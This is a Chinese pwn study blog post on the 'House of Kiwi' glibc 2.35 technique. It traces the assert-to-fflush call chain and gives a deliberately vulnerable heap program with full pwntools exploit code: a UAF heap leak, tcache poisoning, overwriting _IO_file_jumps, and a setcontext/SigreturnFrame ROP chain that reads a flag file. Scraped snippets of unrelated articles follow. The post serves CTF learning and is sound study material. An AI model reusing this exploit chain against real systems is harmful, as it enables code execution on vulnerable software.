【我的 PWN 学习手札】House of Kiwi
House of Kiwi
之前我们利用IO_FILE
一般是通过劫持vtable
来实现的, House of Kiwi
虽然不是通过劫持vtable
来实现,但实质上是劫持vtable
指向的全局的_IO_file_jumps_
表来实现的。注意:对于某些版本的glibc,_IO_file_jumps_并不可写,也就不能利用这种方法,比较玄学需要实际看一下。较高版本的glibc
去除了__malloc_hook
、__free_hook
、exit hook
;而如果程序调用中利用诸如write
、__exit
等函数直接触发系统调用,不走IO
结构体调用流程,就难以使用IO
的方法来劫持程序执行流程。之所以赋予House of Kiwi
这个利用手法名,实际上是因为找到了一条“主动触发异常退出”来触发vtable
上的相关函数来的实现攻击。
一、源码分析
在malloc.c
的sysmalloc
函数中存在assert
断言(当然,很多其他地方也用了assert
宏)
这里检查了Top chunk
的控制字段,不通过则触发异常
//malloc.c
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{...assert ((old_top == initial_top (av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse (old_top) &&((unsigned long) old_end & (pagesize - 1)) == 0));/* Precondition: not enough current space to satisfy nb request */assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));...
}
继续看一下assert
宏,可以看到assert
➡__assert_fail
函数
# if defined __cplusplus
# define assert(expr) \(static_cast <bool> (expr) \? void (0) \: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# elif !defined __GNUC__ || defined __STRICT_ANSI__
# define assert(expr) \((expr) \? __ASSERT_VOID_CAST (0) \: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# else
/* The first occurrence of EXPR is not evaluated due to the sizeof,but will trigger any pedantic warnings masked by the __extension__for the second occurrence. The ternary operator is required tosupport function pointers and bit fields in this context, and tosuppress the evaluation of variable length arrays. */
# define assert(expr) \((void) sizeof ((expr) ? 1 : 0), __extension__ ({ \if (expr) \; /* empty */ \else \__assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION); \}))
# endif
继续跟进,可以看到实际上是调用__malloc_assert
,其中fflush(stderr)
则走了IO
路线来输出(实际上__fxprintf
也走了)。
#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function) \__malloc_assert(assertion, file, line, function)extern const char *__progname;static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,const char *function)
{(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",__progname, __progname[0] ? ": " : "",file, line,function ? function : "", function ? ": " : "",assertion);fflush (stderr);abort ();
}
#endif
#endif
fflush
➡_IO_fflush
# define fflush(s) _IO_fflush (s)
_IO_SYNC
可以看到,_IO_fflush
继续跳转到vtable
指向_IO_file_jumps_
表上的sync
项
int
_IO_fflush (FILE *fp)
{if (fp == NULL)return _IO_flush_all ();else{int result;CHECK_FILE (fp, EOF);_IO_acquire_lock (fp);result = _IO_SYNC (fp) ? EOF : 0;_IO_release_lock (fp);return result;}
}
libc_hidden_def (_IO_fflush)
因此,我们可以通过劫持全局_IO_file_jumps
表,劫持sync
指针,然后触发assert
断言进入:
assert
➡__assert_fail
➡__malloc_assert
➡fflush
➡_IO_fflush
➡_IO_SYNC
调用链,从而劫持程序流。
二、劫持程序流示例
pwn.c
+glibc2.35
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts("invalid choice.");}}
}
大致过程如下:
- 泄露
heap base
- 劫持
tcache_pthread_struct
arbitrary_write
劫持全局数据区的_IO_file_jumps
表- 写坏
Top chunk
然后malloc
较大堆块触发assert
断言进入调用链
首先glibc-2.35
的tcache->key
,通过UAF
泄露heap_base
add(0,0x100)
add(1,0x100)
add(2,0x100)
delete(0)
show(0)
io.recvline()
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12
success("heap_base:"+hex(heap_base))
让我们通过劫持tcache_pthread_struct
来泄露libc
并进一步获得arbitrary_write
的能力,
delete(2)
# pos = (heap_base + 0x5c8)
# target = heap_base + 0x20
edit(2,p64((heap_base >>12) ^ (heap_base + 0x20))+p64(0))
add(2,0x100)
add(10,0x100)
edit(10,b'\x00'*14+p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x1f2ce0
success("libc_base: "+hex(libc.address))def arbitrary_write(address,content):aligns = address & 0xfaddress = address & ~0xfedit(10,(b'\x00'*14+p16(0x7)).ljust(0xe8,b'\x00')+p64(address))add(11,0x100)edit(11,b'\x00'*aligns+content)
然后我们就可以通过任意地址写来修改全局表_IO_file_jumps
了
'''
0xdb1f1 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xdb1f4 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xdb1f7 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.addressarbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(one_gadget))
edit(2,b'\x00'*0x110)gdb.attach(io,"b *{}\nc".format(hex(one_gadget)))
add(20,0x300)
确实被我们劫持到one_gadget
,但是由于rsi
、rdx
都不为空,所以不能简单利用。不过我们有任意地址写的能力,由于fflush
的参数是stderr
所以我们可以在_IO_2_1_stderr
头部写"/bin/sh\x00"
,同时flag
位不会触发__fxprintf
的链子,继续执行fflush
:
'''
0xdb1f1 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xdb1f4 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xdb1f7 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.addressarbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(libc.sym['system']))
edit(2,b'\x00'*0x110)# gdb.attach(io,"b *{}\nc".format(hex(one_gadget)))
arbitrary_write(libc.sym['_IO_2_1_stderr_'],b"/bin/sh\x00")
gdb.attach(io,"b __malloc_assert\n")
add(20,0x300)
三、配合setcontext-gadget实现ROP
glibc2.35
的setcontext
是通过rdx
寄存器来传递数值的
...0x77d08a450c0d <setcontext+61> mov rsp, qword ptr [rdx + 0xa0]0x77d08a450c14 <setcontext+68> mov rbx, qword ptr [rdx + 0x80]0x77d08a450c1b <setcontext+75> mov rbp, qword ptr [rdx + 0x78]0x77d08a450c1f <setcontext+79> mov r12, qword ptr [rdx + 0x48]0x77d08a450c23 <setcontext+83> mov r13, qword ptr [rdx + 0x50]0x77d08a450c27 <setcontext+87> mov r14, qword ptr [rdx + 0x58]0x77d08a450c2b <setcontext+91> mov r15, qword ptr [rdx + 0x60]0x77d08a450c2f <setcontext+95> test dword ptr fs:[0x48], 20x77d08a450c3b <setcontext+107> je setcontext+294 <setcontext+294>...
我们关注到,在进行House of Kiwi
时,调用fflush
时执行跳转表函数SYNC
的 rdx
寄存器指向_IO_helper_jumps
────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────0x7e211da782fb <fflush+107> mov rcx, rbp RCX => 0x7e211dbf4580 (__GI__IO_file_jumps) ◂— 00x7e211da782fe <fflush+110> sub rcx, rdx RCX => 0xc00 (0x7e211dbf4580 - 0x7e211dbf3980)0x7e211da78301 <fflush+113> cmp rax, rcx 0xd68 - 0xc00 EFLAGS => 0x202 [ cf pf af zf sf IF df of ]0x7e211da78304 <fflush+116> jbe fflush+200 <fflush+200>0x7e211da78306 <fflush+118> mov rdi, rbx RDI => 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887► 0x7e211da78309 <fflush+121> call qword ptr [rbp + 0x60] <__SI_IO_new_file_sync_7>rdi: 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887rsi: 0x7ffc3c3bf7d0 ◂— 0x6c616d203a6e7770 ('pwn: mal')rdx: 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0rcx: 0xc000x7e211da7830c <fflush+124> test eax, eax0x7e211da7830e <fflush+126> setne al0x7e211da78311 <fflush+129> movzx eax, al0x7e211da78314 <fflush+132> neg eax0x7e211da78316 <fflush+134> test dword ptr [rbx], 0x8000
─────────────────────────────────────────────────────────────────[
这也是一个全局跳转表,具有w
权限,可以通过arbitray_write
劫持
至于为什么是_IO_helper_jumps
,其实指向的是__start___libc_IO_vtables
,而_IO_helper_jumps
是各个全局的跳转函数表的第一个表,数值也即__start___libc_IO_vtables
:
pwndbg> p/x __start___libc_IO_vtables
$3 = 0x7e211dbf3980 <_IO_helper_jumps>
pwndbg> info reg rdx
rdx 0x7e211dbf3980 138680698091904
pwndbg> tele 0x7e211dbf3980
00:0000│ rdx 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0
01:0008│-bf8 0x7e211dbf3988 (_IO_helper_jumps+8) ◂— 0
02:0010│-bf0 0x7e211dbf3990 (_IO_helper_jumps+16) —▸ 0x7e211da85a10 (_IO_default_finish) ◂— endbr64
03:0018│-be8 0x7e211dbf3998 (_IO_helper_jumps+24) —▸ 0x7e211da6c390 (_IO_helper_overflow) ◂— endbr64
04:0020│-be0 0x7e211dbf39a0 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64
05:0028│-bd8 0x7e211dbf39a8 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64
06:0030│-bd0 0x7e211dbf39b0 (_IO_helper_jumps+48) —▸ 0x7e211da86450 (_IO_default_pbackfail) ◂— endbr64
07:0038│-bc8 0x7e211dbf39b8 (_IO_helper_jumps+56) —▸ 0x7e211da853d0 (_IO_default_xsputn) ◂— endbr64
pwndbg>
08:0040│-bc0 0x7e211dbf39c0 (_IO_helper_jumps+64) —▸ 0x7e211da85550 (_IO_default_xsgetn) ◂— endbr64
09:0048│-bb8 0x7e211dbf39c8 (_IO_helper_jumps+72) —▸ 0x7e211da85a90 (_IO_default_seekoff) ◂— endbr64
0a:0050│-bb0 0x7e211dbf39d0 (_IO_helper_jumps+80) —▸ 0x7e211da85710 (_IO_default_seekpos) ◂— endbr64
0b:0058│-ba8 0x7e211dbf39d8 (_IO_helper_jumps+88) —▸ 0x7e211da85610 (_IO_default_setbuf) ◂— endbr64
0c:0060│-ba0 0x7e211dbf39e0 (_IO_helper_jumps+96) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64
0d:0068│-b98 0x7e211dbf39e8 (_IO_helper_jumps+104) —▸ 0x7e211da85780 (_IO_default_doallocate) ◂— endbr64
0e:0070│-b90 0x7e211dbf39f0 (_IO_helper_jumps+112) —▸ 0x7e211da865c0 (_IO_default_read) ◂— endbr64
0f:0078│-b88 0x7e211dbf39f8 (_IO_helper_jumps+120) —▸ 0x7e211da865d0 (_IO_default_write) ◂— endbr64
pwndbg>
10:0080│-b80 0x7e211dbf3a00 (_IO_helper_jumps+128) —▸ 0x7e211da865a0 (_IO_default_seek) ◂— endbr64
11:0088│-b78 0x7e211dbf3a08 (_IO_helper_jumps+136) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64
12:0090│-b70 0x7e211dbf3a10 (_IO_helper_jumps+144) —▸ 0x7e211da865b0 (_IO_default_stat) ◂— endbr64
13:0098│-b68 0x7e211dbf3a18 (_IO_helper_jumps+152) ◂— 0
... ↓ 4 skipped
pwndbg>
18:00c0│-b40 0x7e211dbf3a40 (_IO_helper_jumps) ◂— 0
19:00c8│-b38 0x7e211dbf3a48 (_IO_helper_jumps+8) ◂— 0
1a:00d0│-b30 0x7e211dbf3a50 (_IO_helper_jumps+16) —▸ 0x7e211da7c460 (_IO_wdefault_finish) ◂— endbr64
1b:00d8│-b28 0x7e211dbf3a58 (_IO_helper_jumps+24) —▸ 0x7e211da715d0 (_IO_helper_overflow) ◂— endbr64
1c:00e0│-b20 0x7e211dbf3a60 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64
1d:00e8│-b18 0x7e211dbf3a68 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64
1e:00f0│-b10 0x7e211dbf3a70 (_IO_helper_jumps+48) —▸ 0x7e211da7c2a0 (_IO_wdefault_pbackfail) ◂— endbr64
1f:00f8│-b08 0x7e211dbf3a78 (_IO_helper_jumps+56) —▸ 0x7e211da7c5e0 (_IO_wdefault_xsputn) ◂— endbr64
值得注意的是,关注上述gdb
调试数据,可以看到好像有两个_IO_helper_jumps
表。无论是libc.sym['_IO_helper_jumps']
还是gdb
内通过p/x &_IO_helper_jumps
,打印的都是第二张表的地址;不过fflush
内call sync
时的rdx
指向是第一个表,需要格外注意。
因此我们可以:
- 利用任意地址写在
_IO_helper_jumps
上布置sigreturnFrame
- 在堆上布置
ROP
链 - 写坏
Top chunk
触发调用链
# ROP 放在2号堆块上
rop_start = heap_base + 0x4c0
buf_start = heap_base + 0x80
# flag 读到0号堆块上
flag_start = heap_base + 0x2a0
rop = b''
# read(3,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret")).__next__())
rop += p64(3)
rop += p64(libc.search(asm("pop rsi;ret")).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;ret")).__next__())
rop += p64(0x20)
rop += p64(libc.sym['read'])
# write(1,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret")).__next__())
rop += p64(1)
rop += p64(libc.search(asm("pop rsi;ret")).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;ret")).__next__())
rop += p64(0x20)
rop += p64(libc.sym['write'])
rop = rop.ljust(buf_start - rop_start, b'\x00')
rop += b'./flag.txt\x00'
rop = rop.ljust(0x110, b'\x00')frame = SigreturnFrame()
# open("./flag.txt")
frame.rdi = buf_start
frame.rsi = 0
frame.rdx = 0
frame.rip = libc.sym['open']
frame.rsp = rop_startarbitrary_write(libc.sym["__start___libc_IO_vtables"],bytes(frame))
然而
看起来我们修改的_IO_helper_jumps
在fflush
之前的__fxprintf
被使用。
具体我们看一下用到了哪一项,我们断点到__malloc_assert
开始步过,最终定位到表偏移0x38
的函数指针是会被调用的
因此我们的sigreturnFrame
数据在该处保留合法指针即可
pwndbg> p __start___libc_IO_vtables
$1 = 0x77bb9cbf3980 <_IO_helper_jumps> ""
pwndbg> tele 0x77bb9cbf3980
00:0000│ 0x77bb9cbf3980 (_IO_helper_jumps) ◂— 0
01:0008│ 0x77bb9cbf3988 (_IO_helper_jumps+8) ◂— 0
02:0010│ 0x77bb9cbf3990 (_IO_helper_jumps+16) —▸ 0x77bb9ca85a10 (_IO_default_finish) ◂— endbr64
03:0018│ 0x77bb9cbf3998 (_IO_helper_jumps+24) —▸ 0x77bb9ca6c390 (_IO_helper_overflow) ◂— endbr64
04:0020│ 0x77bb9cbf39a0 (_IO_helper_jumps+32) —▸ 0x77bb9ca85360 (_IO_default_underflow) ◂— endbr64
05:0028│ 0x77bb9cbf39a8 (_IO_helper_jumps+40) —▸ 0x77bb9ca85370 (_IO_default_uflow) ◂— endbr64
06:0030│ 0x77bb9cbf39b0 (_IO_helper_jumps+48) —▸ 0x77bb9ca86450 (_IO_default_pbackfail) ◂— endbr64
07:0038│ 0x77bb9cbf39b8 (_IO_helper_jumps+56) —▸ 0x77bb9ca853d0 (_IO_default_xsputn) ◂— endbr64
pwndbg> libc
libc : 0x77bb9ca00000
pwndbg> p/x 0x77bb9ca853d0-0x77bb9ca00000
$2 = 0x853d0
frame=bytearray(bytes(frame))
frame[0x38:0x40]=p64(libc.address+0x853d0)
然后我们就可以正常到达fflush
,并劫持到setcontext
然后可以看到setcontext
退出时进入rop-chain
结果在ROP
过程中发现找到的pop rdx;ret
是不可执行数据;遂在所有的gadget
的libc.search
部分增添参数executable=True
rop += p64(libc.search(asm("pop rdx;ret"),executable=True).__next__())
然而又找不到这样的gadget
。所以用ropper
或ROPgadget
找具有同样功能虽然可能略荣誉的gadget
:
0x0000000000107191 : pop rdx ; pop r12 ; ret
最终可以实现:
ROP完整exp
from pwn import *
from pwnlib.abi import freebsd_armelf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x100)
add(1, 0x100)
add(2, 0x100)delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
success("heap_base:" + hex(heap_base))delete(2)
# pos = (heap_base + 0x5c8)
# target = heap_base + 0x20
edit(2, p64((heap_base >> 12) ^ (heap_base + 0x20)) + p64(0))
add(2, 0x100)
add(10, 0x100)
edit(10, b'\x00' * 14 + p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
success("libc_base: " + hex(libc.address))def arbitrary_write(address, content):aligns = address & 0xfaddress = address & ~0xfedit(10, (b'\x00' * 14 + p16(0x7)).ljust(0xe8, b'\x00') + p64(address))add(11, 0x100)edit(11, b'\x00' * aligns + content)gdb.attach(io, 'b fflush\nc')
# gdb.attach(io,'b __malloc_assert\nc')# ROP 放在2号堆块上
rop_start = heap_base + 0x4c0
buf_start = rop_start + 0x80
# flag 读到0号堆块上
flag_start = heap_base + 0x2a0
rop = b''
# read(3,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__())
rop += p64(3)
rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__())
rop += p64(0x30)
rop += p64(0)
rop += p64(libc.sym['read'])
# write(1,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__())
rop += p64(1)
rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__())
rop += p64(0x30)
rop += p64(0)
rop += p64(libc.sym['write'])
rop = rop.ljust(buf_start - rop_start, b'\x00')
rop += b'./flag.txt\x00'
rop = rop.ljust(0x110, b'\x00')frame = SigreturnFrame()
# open("./flag.txt")
frame.rdi = buf_start
frame.rsi = 0
frame.rdx = 0
frame.rip = libc.sym['open']
frame.rsp = rop_startframe = bytearray(bytes(frame))
frame[0x38:0x40] = p64(libc.address + 0x853d0)
arbitrary_write(libc.sym["__start___libc_IO_vtables"], bytes(frame))
arbitrary_write(libc.sym['_IO_file_jumps'] + 0x60, p64(libc.sym['setcontext'] + 61))
edit(2, rop)
add(30, 0x300)
io.interactive()
相关文章:

【我的 PWN 学习手札】House of Kiwi
House of Kiwi 之前我们利用IO_FILE一般是通过劫持vtable来实现的, House of Kiwi虽然不是通过劫持vtable来实现,但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意:对于某些版本的glibc,_IO_file_jumps_并不可写…...
nvm的学习
学习 nvm(Node Version Manager) 是掌握 Node.js 开发的关键技能之一。以下是系统的学习路径和实战指南,涵盖从基础到进阶的内容: 一、基础入门 1. nvm 的核心作用 多版本共存:安装和管理多个 Node.js 版本ÿ…...

haclon固定相机位标定
什么是标定? 工业应用中相机拍到一个mark点的坐标为C1(Cx,Cy),C1点对应的龙门架/机械手等执行端对应的坐标是多少? 标定就是解决这个问题,如相机拍到一个点坐标C1(Cx,Cy),…...

stm32(hal库)学习笔记-时钟系统
在stm32中,时钟系统是非常重要的一环,他控制着整个系统的频率。因此,我们有理由好好学一下时钟系统。 什么是时钟? 时钟是具有周期性的脉冲信号,一般我们常用占空比为50%的方波。可以形象的说,时钟就是单…...

【Java项目】基于SpringBoot的财务管理系统
【Java项目】基于SpringBoot的财务管理系统 技术简介:采用Java技术、SpringBoot框架、MySQL数据库等实现。系统基于B/S架构,前端通过浏览器与后端数据库进行信息交互,后端使用SpringBoot框架和MySQL数据库进行数据处理和存储,实现…...

Qt中如果槽函数运行时间久,避免阻塞主线程的做法
Qt中如果槽函数运行时间久,避免阻塞主线程的做法 一、解决步骤 创建一个工作线程类:继承自QObject,并在其中实现槽函数的逻辑。将工作线程类的实例移动到单独的线程中:通过moveToThread()方法将对象移动到新线程。启动线程&…...

曹操智行构建国内首个全域自研闭环智驾生态
2月28日,曹操出行举办曹操智行自动驾驶平台上线仪式,宣布已成功构建国内首个“F立方”全域自研闭环智驾生态,同时在苏杭两地开启Robotaxi运营试点,并投放搭载吉利最新智驾系统的车辆。 此次试点运营,标志着曹操出行在…...

day02_Java基础
文章目录 day02_Java基础一、今日课程内容二、数组(熟悉)1、定义格式2、基本使用3、了解数组的内存图介绍4、数组的两个小问题5、数组的常见操作 三、方法(熟悉)1、定义格式2、方法重载overload 四、面向对象(掌握&…...
SpringSecurity 实现token 认证
配置类 Configuration EnableWebSecurity EnableGlobalMethodSecurity(prePostEnabledtrue) public class SpringSecurityConfig extends WebSecurityConfigurerAdapter { Bean Override public AuthenticationManager authenticationManagerBean() throws Exception {return s…...

轻松实现语音生成:GPT-SoVITS V2整合包的远程访问操作详解
文章目录 前言1.GPT-SoVITS V2下载2.本地运行GPT-SoVITS V23.简单使用演示4.安装内网穿透工具4.1 创建远程连接公网地址 5. 固定远程访问公网地址 前言 今天要给大家安利一个绝对能让你大呼过瘾的声音黑科技——GPT-SoVITS!这款由花儿不哭大佬精心打造的语音克隆神…...
解锁状态模式:Java 编程中的行为魔法
系列文章目录 后续补充~~~ 文章目录 一、状态模式:概念与原理二、状态模式的深度剖析(一)模式定义与核心思想(二)模式结构与角色 三、状态模式的实际应用场景(一)电商系统中的订单状态管理&…...

算法与数据结构(相交链表)
题目 思路 1.哈希集合 因为要求是否存在相交节点,那么我们就可以利用哈希集合先将listA链表里面的所有数据存入,然后访问listB,判断其是否有节点在哈希集合中,若存在,则说明此节点为相交的节点。若遍历完之后仍没有发…...

浅入浅出Selenium DevTools
前言 在自动化测试领域,Selenium一直是主流工具之一。随着前端技术的不断发展,浏览器的功能也在不断丰富。 Selenium 3版本前,一套通用的采集流程如上图所示: 打开Charles,设置Session自动导出频次及导出路径Seleniu…...
软件工程---净室软件工程
净室软件工程是一种软件开发方法,旨在通过形式化的数据和严格的测试来提高软件的可靠性和减少缺陷的数量。它的核心思想是在软件开发过程中最小化或消除软件缺陷,从而提高软件的质量和可靠性。这种方法强调在软件生命周期的早期阶段使用形式化方法进行规…...

OpenHarmony图形子系统
OpenHarmony图形子系统 图形子系统主要包括UI组件、布局、动画、字体、输入事件、窗口管理、渲染绘制等模块,构建基于轻量OS应用框架满足硬件资源较小的物联网设备或者构建基于标准OS的应用框架满足富设备的OpenHarmony系统应用开发。 1.1 轻量系统 简介 图形子…...
如何获取Mac OS 安装盘
发现虚拟机VirtualBox支持Mac虚拟,就想尝试一下。但是发现Mac的安装盘特别难拿到,因此留档。发现有几种方法,最简单的方法,是在有Mac 机器的情况下,直接到App Store里,根据Mac版本的名字查找并下载。另外还…...

【弹性计算】弹性裸金属服务器和神龙虚拟化(一):功能特点
弹性裸金属服务器和神龙虚拟化(一):功能特点 特征一:分钟级交付特征二:兼容 VPC、SLB、RDS 等云平台全业务特征三:兼容虚拟机镜像特征四:云盘启动和数据云盘动态热插拔特征五:虚拟机…...
大白话前端性能优化方法的分类与具体实现
大白话前端性能优化方法的分类与具体实现 一、资源加载优化 1. 压缩与合并文件 大白话解释: 咱们的网页代码里,就像一个房间堆满了东西,有很多没用的“杂物”,比如代码里的空格、注释啥的。压缩文件就是把这些“杂物”清理掉&a…...

Rabbit MQ 高频面试题【刷题系列】
文章目录 一、公司生产环境用的什么消息中间件?二、Kafka、ActiveMQ、RabbitMQ、RocketMQ有什么优缺点?三、解耦、异步、削峰是什么?四、消息队列有什么缺点?五、RabbitMQ一般用在什么场景?六、简单说RabbitMQ有哪些角…...

ES6 特性全面解析与应用实践
1、let let 关键字用来声明变量,使用let 声明的变量有几个特点: 1) 不允许重复声明 2) 块儿级作用域 3) 不存在变量提升 4) 不影响作用域链 5) 暂时性死区 6)不与顶级对象挂钩 在代码块内,使用let命令声明变量之前&#x…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
【杂谈】-递归进化:人工智能的自我改进与监管挑战
递归进化:人工智能的自我改进与监管挑战 文章目录 递归进化:人工智能的自我改进与监管挑战1、自我改进型人工智能的崛起2、人工智能如何挑战人类监管?3、确保人工智能受控的策略4、人类在人工智能发展中的角色5、平衡自主性与控制力6、总结与…...
脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)
一、数据处理与分析实战 (一)实时滤波与参数调整 基础滤波操作 60Hz 工频滤波:勾选界面右侧 “60Hz” 复选框,可有效抑制电网干扰(适用于北美地区,欧洲用户可调整为 50Hz)。 平滑处理&…...
Python爬虫实战:研究feedparser库相关技术
1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

【单片机期末】单片机系统设计
主要内容:系统状态机,系统时基,系统需求分析,系统构建,系统状态流图 一、题目要求 二、绘制系统状态流图 题目:根据上述描述绘制系统状态流图,注明状态转移条件及方向。 三、利用定时器产生时…...

ardupilot 开发环境eclipse 中import 缺少C++
目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...

有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...

LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...